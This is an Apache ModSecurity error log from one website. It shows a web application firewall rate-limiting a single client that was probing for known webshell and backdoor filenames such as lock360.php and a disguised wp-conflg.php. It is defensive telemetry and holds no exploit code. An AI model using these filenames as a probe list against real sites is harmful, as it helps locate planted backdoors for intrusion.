[Sat Nov 15 01:10:19.773819 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:64679] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "aRdie_c94upQFzRWlUm9FQAAAEs"]
[Sat Nov 15 01:10:20.242799 2025] [:error] [pid 45995:tid 46023] [client 4.205.91.17:64764] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "aRdifMfhZrb6EV4SvFu7ywAAAhc"]
[Sat Nov 15 01:10:20.677343 2025] [:error] [pid 45907:tid 45915] [client 4.205.91.17:64740] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aRdifFAqmYxCpnT9gJF-QgAAAUQ"]
[Sat Nov 15 01:10:21.088897 2025] [:error] [pid 45909:tid 45982] [client 4.205.91.17:64688] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aRdifcZqItrYybG86kiSCQAAAdE"]
[Sat Nov 15 01:10:21.506880 2025] [:error] [pid 45909:tid 45971] [client 4.205.91.17:64739] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aRdifcZqItrYybG86kiSCwAAAcY"]
[Sat Nov 15 01:10:21.938015 2025] [:error] [pid 45995:tid 46014] [client 4.205.91.17:62062] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aRdifcfhZrb6EV4SvFu70AAAAg4"]
[Sat Nov 15 01:10:22.353013 2025] [:error] [pid 45907:tid 45916] [client 4.205.91.17:65289] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRdiflAqmYxCpnT9gJF-SAAAAUU"]
[Sat Nov 15 01:10:22.794552 2025] [:error] [pid 45908:tid 45959] [client 4.205.91.17:65304] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRdifmWG19mWwZX7KatcqQAAABU"]
[Sat Nov 15 01:10:23.207452 2025] [:error] [pid 45907:tid 45913] [client 4.205.91.17:62793] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRdif1AqmYxCpnT9gJF-SgAAAUI"]
[Sat Nov 15 01:10:23.643963 2025] [:error] [pid 45995:tid 46006] [client 4.205.91.17:65381] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aRdif8fhZrb6EV4SvFu71AAAAgY"]
[Sat Nov 15 01:10:24.069559 2025] [:error] [pid 45995:tid 46011] [client 4.205.91.17:64699] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRdigMfhZrb6EV4SvFu71QAAAgs"]
[Sat Nov 15 01:10:24.502437 2025] [:error] [pid 45995:tid 46019] [client 4.205.91.17:64745] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRdigMfhZrb6EV4SvFu72AAAAhM"]
[Sat Nov 15 01:10:24.915739 2025] [:error] [pid 45908:tid 45940] [client 4.205.91.17:62078] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRdigGWG19mWwZX7KatcsQAAAAI"]
[Sat Nov 15 01:10:25.352312 2025] [:error] [pid 45907:tid 45911] [client 4.205.91.17:65359] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRdigVAqmYxCpnT9gJF-TAAAAUA"]
[Sat Nov 15 01:10:25.803011 2025] [:error] [pid 45995:tid 46015] [client 4.205.91.17:64730] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "aRdigcfhZrb6EV4SvFu72gAAAg8"]
[Sat Nov 15 01:10:26.246001 2025] [:error] [pid 45995:tid 46018] [client 4.205.91.17:65319] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "aRdigsfhZrb6EV4SvFu72wAAAhI"]
[Sat Nov 15 01:10:26.715818 2025] [:error] [pid 45995:tid 46014] [client 4.205.91.17:65332] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "aRdigsfhZrb6EV4SvFu73AAAAg4"]
[Sat Nov 15 01:10:27.138752 2025] [:error] [pid 18513:tid 18538] [client 4.205.91.17:65353] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "aRdig_c94upQFzRWlUm9GQAAAFQ"]
[Sat Nov 15 01:10:27.798248 2025] [:error] [pid 18513:tid 18529] [client 4.205.91.17:62776] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aRdig_c94upQFzRWlUm9HQAAAEs"]
[Sat Nov 15 01:10:28.227659 2025] [:error] [pid 45909:tid 45970] [client 4.205.91.17:64725] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aRdihMZqItrYybG86kiSDgAAAcU"]
[Sat Nov 15 01:10:28.748388 2025] [:error] [pid 18513:tid 18520] [client 4.205.91.17:65331] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aRdihPc94upQFzRWlUm9HgAAAEI"]
[Sat Nov 15 01:10:29.170750 2025] [:error] [pid 45908:tid 45950] [client 4.205.91.17:62770] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aRdihWWG19mWwZX7KatctQAAAAw"]
[Sat Nov 15 01:10:29.619583 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:64731] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRdihcZqItrYybG86kiSEwAAAdg"]
[Sat Nov 15 01:10:30.029123 2025] [:error] [pid 45908:tid 45954] [client 4.205.91.17:62804] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRdihmWG19mWwZX7KatctwAAABA"]
[Sat Nov 15 01:10:30.495832 2025] [:error] [pid 18513:tid 18526] [client 4.205.91.17:65370] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRdihvc94upQFzRWlUm9IgAAAEg"]
[Sat Nov 15 01:10:30.926127 2025] [:error] [pid 45908:tid 45960] [client 4.205.91.17:65311] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRdihmWG19mWwZX7KatcvAAAABY"]
[Sat Nov 15 01:10:31.342379 2025] [:error] [pid 45907:tid 45934] [client 4.205.91.17:64661] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aRdih1AqmYxCpnT9gJF-XAAAAVc"]
[Sat Nov 15 01:10:31.818768 2025] [:error] [pid 45908:tid 45938] [client 4.205.91.17:65338] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aRdih2WG19mWwZX7KatcvQAAAAA"]
[Sat Nov 15 01:10:32.232996 2025] [:error] [pid 18513:tid 18535] [client 4.205.91.17:64688] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aRdiiPc94upQFzRWlUm9JgAAAFE"]
[Sat Nov 15 01:10:32.688271 2025] [:error] [pid 45907:tid 45912] [client 4.205.91.17:64757] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "aRdiiFAqmYxCpnT9gJF-YgAAAUE"]
[Sat Nov 15 01:10:45.340052 2025] [:error] [pid 18513:tid 18540] [client 4.205.91.17:65406] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "aRdilfc94upQFzRWlUm9UQAAAFY"]
[Sat Nov 15 01:10:45.763174 2025] [:error] [pid 45908:tid 45942] [client 4.205.91.17:64734] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "aRdilWWG19mWwZX7KatdBQAAAAQ"]
[Sat Nov 15 01:10:46.182062 2025] [:error] [pid 45995:tid 46014] [client 4.205.91.17:65354] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "aRdilsfhZrb6EV4SvFu8DQAAAg4"]
[Sat Nov 15 01:10:46.610640 2025] [:error] [pid 45908:tid 45962] [client 4.205.91.17:65368] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afile.php"] [unique_id "aRdilmWG19mWwZX7KatdCAAAABg"]
[Sat Nov 15 01:10:47.031351 2025] [:error] [pid 45995:tid 46021] [client 4.205.91.17:64761] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aRdil8fhZrb6EV4SvFu8DwAAAhU"]
[Sat Nov 15 01:10:47.444769 2025] [:error] [pid 45995:tid 46002] [client 4.205.91.17:64709] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aRdil8fhZrb6EV4SvFu8EAAAAgI"]
[Sat Nov 15 01:10:47.920108 2025] [:error] [pid 45908:tid 45956] [client 4.205.91.17:64717] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aRdil2WG19mWwZX7KatdCwAAABI"]
[Sat Nov 15 01:10:48.345014 2025] [:error] [pid 45907:tid 45929] [client 4.205.91.17:64651] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aRdimFAqmYxCpnT9gJF-kQAAAVI"]
[Sat Nov 15 01:10:48.794418 2025] [:error] [pid 45995:tid 46007] [client 4.205.91.17:64663] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aRdimMfhZrb6EV4SvFu8EwAAAgc"]
[Sat Nov 15 01:10:49.218809 2025] [:error] [pid 45908:tid 45957] [client 4.205.91.17:65398] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aRdimWWG19mWwZX7KatdDwAAABM"]
[Sat Nov 15 01:10:49.629221 2025] [:error] [pid 45907:tid 45924] [client 4.205.91.17:61986] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aRdimVAqmYxCpnT9gJF-kgAAAU0"]
[Sat Nov 15 01:10:50.042764 2025] [:error] [pid 45995:tid 46000] [client 4.205.91.17:62016] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aRdimsfhZrb6EV4SvFu8FQAAAgA"]
[Sat Nov 15 01:10:50.467557 2025] [:error] [pid 18513:tid 18518] [client 4.205.91.17:61958] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enclas.php"] [unique_id "aRdimvc94upQFzRWlUm9WQAAAEA"]
[Sat Nov 15 01:10:50.910426 2025] [:error] [pid 18513:tid 18522] [client 4.205.91.17:64738] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enclas.php"] [unique_id "aRdimvc94upQFzRWlUm9WgAAAEQ"]
[Sat Nov 15 01:10:51.350589 2025] [:error] [pid 18513:tid 18525] [client 4.205.91.17:65282] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enclas.php"] [unique_id "aRdim_c94upQFzRWlUm9WwAAAEc"]
[Sat Nov 15 01:10:51.763596 2025] [:error] [pid 45909:tid 45970] [client 4.205.91.17:62745] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/enclas.php"] [unique_id "aRdim8ZqItrYybG86kiSZwAAAcU"]
[Sat Nov 15 01:10:52.233908 2025] [:error] [pid 45907:tid 45928] [client 4.205.91.17:62824] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aRdinFAqmYxCpnT9gJF-lgAAAVE"]
[Sat Nov 15 01:10:52.650854 2025] [:error] [pid 45907:tid 45917] [client 4.205.91.17:62769] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aRdinFAqmYxCpnT9gJF-lwAAAUY"]
[Sat Nov 15 01:10:53.072727 2025] [:error] [pid 45909:tid 45983] [client 4.205.91.17:62762] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aRdincZqItrYybG86kiSawAAAdI"]
[Sat Nov 15 01:10:53.481947 2025] [:error] [pid 45908:tid 45948] [client 4.205.91.17:65364] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aRdinWWG19mWwZX7KatdEQAAAAo"]
[Sat Nov 15 01:10:53.900383 2025] [:error] [pid 45907:tid 45911] [client 4.205.91.17:64666] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aRdinVAqmYxCpnT9gJF-mAAAAUA"]
[Sat Nov 15 01:10:54.313694 2025] [:error] [pid 45907:tid 45926] [client 4.205.91.17:62760] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aRdinlAqmYxCpnT9gJF-mwAAAU8"]
[Sat Nov 15 01:10:54.748122 2025] [:error] [pid 45995:tid 46008] [client 4.205.91.17:62794] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aRdinsfhZrb6EV4SvFu8HgAAAgg"]
[Sat Nov 15 01:10:55.174890 2025] [:error] [pid 45995:tid 46022] [client 4.205.91.17:65367] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aRdin8fhZrb6EV4SvFu8HwAAAhY"]
[Sat Nov 15 01:10:55.593901 2025] [:error] [pid 45995:tid 46023] [client 4.205.91.17:65317] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aRdin8fhZrb6EV4SvFu8IgAAAhc"]
[Sat Nov 15 01:10:56.004861 2025] [:error] [pid 18513:tid 18542] [client 4.205.91.17:62019] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aRdioPc94upQFzRWlUm9YgAAAFg"]
